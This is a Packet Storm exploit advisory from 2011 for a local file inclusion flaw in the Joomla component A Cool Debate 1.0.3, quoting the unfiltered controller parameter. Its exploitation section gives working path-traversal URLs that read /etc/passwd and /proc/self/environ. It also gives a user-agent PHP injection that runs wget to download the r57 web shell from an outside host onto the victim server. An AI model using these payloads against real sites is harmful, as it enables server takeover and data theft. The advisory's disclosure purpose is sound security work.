what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla A Cool Debate 1.0.3 Local File Inclusion

Joomla A Cool Debate 1.0.3 Local File Inclusion
Posted Jun 18, 2011
Authored by Chip D3 Bi0s

Joomla A Cool Debate component version 1.0.3 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | e03c70e6830a95bd19a0e07f540b560e329839d04b516b6b4d70b54a2b1e42cb

Joomla A Cool Debate 1.0.3 Local File Inclusion

Change Mirror Download
A Cool Debate 1.0.3 Component Joomla Local File Inclusion
=========================================================================================

- Discovered by : Chip D3 Bi0s
- Email : chipdebios[at]gmail[dot]com
- Group : LatinHackTeam
- Date : 18 june 2011
- Where : From Remote

-------------------------------------------------------------------------------------
Affected software description

Application : A Cool Debate
Developer : oasis fleeting
version : 1.0.3
License : GPLv2 or later
Date Added : 5 June 2011
Download : http://www.acoolsip.com/development/a-cool-debate.html

I. BACKGROUND


When building this component I drew on debate.org as an example. With the upcoming elections in the U.S.A.
I figure that this will become a very popular extension for joomla. This component integrates with the most
popular community extensions for joomla, Community Builder, Jomsocial and CBE.

This is the first release candidate of this extension and is ready for users to put it through their test.
It is free and still in an early stage.

Debate or debating is a formal method of interactive and representational argument. Debate is a broader
form of argument than logical argument, which only examines consistency from axiom, and factual argument,
which only examines what is or isn't the case or rhetoric which is a technique of persuasion. Though logical
consistency, factual accuracy and some degree of emotional appeal to the audience are important elements of the
art of persuasion, in debating, one side often prevails over the other side by presenting a superior "context" and/or
framework of the issue, which is far more subtle and strategic.

II. DESCRIPTION

Some Local File inclusion vulnerabilities exist in Component A Cool Debate 1.0.3.



III. ANALYSIS

The bug is in the following files, specifying the lines in

components/com_acooldebate/acooldebate.php



// Require specific controller if requested
if($controller = JRequest::getVar('controller')) {
require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');

Explanation:As noted in the line [16] $controller
nowhere is filtered, which result is lfi as is known to pass '.php' use %00 :)


IV. EXPLOITATION
it is logical that {LFI} depends on the number of directories served,
which can be assumed when the error it prints on the web

http://site/path/index.php?option=com_acooldebate&controller={LFI}
{LFI}=../../../../../../../../../../etc/passwd%00
{LFI}=../../../../../../../../../../proc/self/environ%00



changing the user agent for something so:
<?system('wget http://chipdebios.com/r57.txt -O r57.php');?>

A special greeting to my good friends:
R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)



+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close